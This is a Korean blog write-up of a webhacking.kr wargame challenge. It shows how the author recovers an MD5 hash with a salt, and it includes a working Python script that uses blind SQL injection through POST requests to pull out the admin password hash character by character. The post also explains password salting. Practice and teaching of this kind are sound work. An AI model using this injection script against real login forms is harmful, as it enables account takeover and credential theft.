티스토리 뷰

아홉번째 글.

 

 

 

 

문제

문제는 이렇다 

 

 

 

join버튼을 누르게되면 위처럼 회원으로 등록될 수 있다. 나는 여기서 guest / guest로 join을 했다.

 

 

 

 

guest / guest로 로그인을 하니 이렇게 해쉬값이 나왔다.

문제를 많이 풀다보면 알겠지만 MD5 해시값이라고 유추가 가능하다.

MD5는 단방향 암호화로써 128비트의 해시값으로 표시하고 주로 파일의 무결성을 확인할 때 사용된다.

사실 복화가 불가능하지만 짧은 문자 같은것은 복호화를 해주는 사이트가 있다.

사이트 : https://www.md5online.org/md5-decrypt.html

여기서 복호화를 해보면 

 

guest뒤에 apple이 붙어서 나왔다.

21번 문제와 똑같이 블라인드 인젝션을 이용해서 파이썬 코드로 작성하였다.

21번과 차이점은 여기서는 post방식으로 request한다.

 

 

 

더보기
import requests

url = "https://webhacking.kr/challenge/bonus-2/index.php"
cookie = {'PHPSESSIONID': 'your phpsessionid'}

length = 1

while True:  # 비밀번호 길이 알아내기

    data = {"uuid": f"admin' and length(pw)={length}#", "pw": "1234"}
    request = requests.post(url, cookies=cookie, data=data)
    if request.text.find("Wrong password") != -1 :
        break
    length += 1
    print(length)
print("password length : ", length)

password = ''

for i in range(0,33): # 비밀번호 값 알아내기
    for j in range(33, 127):

        data = {"uuid": f"admin' and ascii(substr(pw,{i+1},1))={j}#", "pw": "1234"}
        request = requests.post(url, cookies=cookie, data=data)
        if request.text.find("Wrong password") !=-1:
            print(chr(j))
            password += chr(j)
            break
print(password)

그러면

 

 

 

 

이렇게 해시값을 얻을 수 있는데 당연히 비밀번호로 입력하면 로그인이 되질않는다.

 

 

 

위의 같은 사이트에서 복호화를 해보니 wowapple이 나왔다...

admin / wowapple을 넣어보니 로그인이 되질 않았다.

guest로 로그인했을 떄도 생각해보면 여기서 apple salt이다.

같은 암호를 해시하면 같은 해시값이 나오므로 위험하다.

이를 방지하기위해서 암호를 해시하기전에 랜덤한 값을 암호에 붙이는데

그것이 바로 salt이다. 말그대로 양념친다고 보면된다. 그렇게되면 

같은 암호를 입력해도 해시의 결과가 달라지게 된다.

아마 위에 guest에도 apple이 붙은걸 보니 apple을 때고 입력하면 될거같았다.

(다른계정으로도 join해봤지만 salt는 apple하나다)

 

 

 

 

 

굿

admin / wow를 입력하니 정상적으로 문제가 풀렸다.

'writeup > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] 33번 문제(old)  (0) 2020.08.07
[Webhacking.kr] 32번 문제(old)  (0) 2020.08.06
[Webhacking.kr] 21번 문제(old)  (0) 2020.08.04
[Webhacking.kr] 19번 문제(old)  (0) 2020.07.30
[Webhacking.kr] 12번 문제(old)  (0) 2020.07.29